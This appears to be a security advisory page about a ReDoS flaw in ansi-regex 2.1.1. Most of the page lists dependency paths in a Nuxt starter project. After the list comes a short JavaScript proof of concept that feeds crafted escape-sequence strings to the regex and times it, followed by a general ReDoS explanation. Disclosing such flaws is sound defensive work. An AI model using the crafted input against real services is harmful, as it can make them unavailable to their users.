  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-exponentiation-operator@6.24.1 › babel-helper-builder-binary-assignment-operator-visitor@6.24.1 › babel-helper-explode-assignable-expression@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › csso@2.3.2 › clap@1.2.3 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › csso@2.3.2 › clap@1.2.3 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-exponentiation-operator@6.24.1 › babel-helper-builder-binary-assignment-operator-visitor@6.24.1 › babel-helper-explode-assignable-expression@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-exponentiation-operator@6.24.1 › babel-helper-builder-binary-assignment-operator-visitor@6.24.1 › babel-helper-explode-assignable-expression@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › babel-preset-vue-app@2.0.0 › babel-preset-env@1.7.0 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1

…and 345 more

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*.

PoC

import ansiRegex from 'ansi-regex';

for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
